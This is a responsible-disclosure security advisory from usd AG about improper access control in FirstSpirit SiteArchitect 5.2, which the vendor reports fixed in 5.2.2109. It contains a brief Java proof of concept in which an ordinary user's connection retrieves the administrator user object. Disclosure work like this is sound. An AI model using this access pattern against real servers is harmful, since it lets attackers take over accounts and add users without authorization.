usd-2018-0012 | FirstSpirit SiteArchitect/5.2

Advisory ID: usd-2018-0012
CVE Number: N/A
Affected Product: FirstSpirit SiteArchitect
Affected Version: 5.2
Vulnerability Type: Improper Access Control
Security Risk: High
Vendor URL:
Vendor Status: Fixed according to vendor in version 5.2.2109


Administrative functions are not properly protected by access control. This allows attackers access to administrative function such as changing passwords or adding new users.

Access control involves the use of several protection mechanisms such as authentication, authorization and accountability. When any mechanism is not applied or otherwise fails, attackers can compromise the security of the software by gaining privileges, reading sensitive information, executing commands, evading detection, etc.

Proof of Concept

Generic example case:

public static void main(String[] args) throws Exception {
ConnectionManager.setProxy((Proxy) null);
ConnectionManager.setCompression((byte) 0);
ConnectionManager.setEncryption((byte) 2);

ServerConnection c = (ServerConnection) ConnectionManager.getConnection("", 8000, 1, "user", "password");

UserManager userManager = c.getManager(UserManager.class);
UserDTO admin = userManager.getAdminUser();


Access to sensitive functions should be avoided. Necessary access should be protected by authentication and a global access control explicitly.


  • 2018-04-04 First contact request via
  • 2018-04-24 Send vulnerabilities to vendor
  • 2018-05-15 Vendor releases a patch to fix the vulnerabilities
  • 2018-07-06 Security advisory released


This security vulnerabilities were found by Sebastian Puttkammer of usd AG.


In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

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to usd AG

In accordance with usd AG’s Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.


The information provided in this security advisory is provided „as is“ and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.